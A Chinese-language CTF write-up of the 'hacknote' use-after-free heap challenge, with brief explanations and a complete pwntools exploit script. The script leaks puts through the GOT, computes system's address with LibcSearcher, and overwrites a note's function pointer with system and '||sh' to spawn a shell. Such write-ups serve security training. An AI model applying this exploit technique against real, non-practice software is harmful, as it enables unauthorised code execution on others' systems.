这是wiki上讲uaf的例题也是buu上一道题目
delete里面只是free掉块的内容

checksec了没有pie还有可以改got表,所以其实只要改got表就行
creat(0x10,'aaaa')creat(0x10,'bbbb')

有一个控制堆块,ida里是哪部分呢?
这几句的代码决定的,会存在这么一个东西
free(1)free(0)#pause()payload = p32(0x0804862b)+p32(puts_got)creat(0x8,payload)pause()

所以现在有puts的真实地址,只要print一下就能出来
然后就是libc过程
puts_addr = u32(io.recv(4))log.success('puts:{}'.format(hex(puts_addr)))free(2)#pause()libc=LibcSearcher('puts',puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')log.success('system:{}'.format(hex(system_addr)))binsh_addr = libc_base + libc.dump('str_bin_sh')
最后还有一个坑

这两句,导致了为什么puts就能直接把内容打印出来,而改成system后参数变成了&system+/bin/sh\x00
所以我们最后可以改成’||sh\x00”
||就是那c语言中的或
from pwn import*from LibcSearcher import*#context.log_level = 'debug'context.arch = 'amd64'io =process('./hacknote')#io = remote("node4.buuoj.cn",29891)elf = ELF('./hacknote')#libc = ELF('libc-2.27.so')puts_got = elf.got['puts']free_got = elf.got['free']puts_plt = elf.plt['puts']gdb.attach(io)def creat(size,value1):io.recvuntil('Your choice :')io.sendline('1')io.recvuntil('Note size :')io.sendline(str(size))io.recvuntil('Content :')io.sendline(value1)io.recvuntil('Success !')def free(index):io.recvuntil('Your choice :')io.sendline('2')io.recvuntil('Index :')io.sendline(str(index))io.recvuntil('Success')def show(id):io.recvuntil('Your choice :')io.sendline('3')io.recvuntil('Index :')io.sendline(str(id))creat(0x10,'aaaa')creat(0x10,'bbbb')#pause()free(1)free(0)#pause()payload = p32(0x0804862b)+p32(puts_got)creat(0x8,payload)pause()show(1)puts_addr = u32(io.recv(4))log.success('puts:{}'.format(hex(puts_addr)))free(2)#pause()libc=LibcSearcher('puts',puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')log.success('system:{}'.format(hex(system_addr)))binsh_addr = libc_base + libc.dump('str_bin_sh')#libcbase = puts_addr - libc.sym['puts']#system_addr = libcbase +libc.sym['system']payload = p32(system_addr)+'||sh'creat(0x8,payload)#pause()show(1)io.interactive()
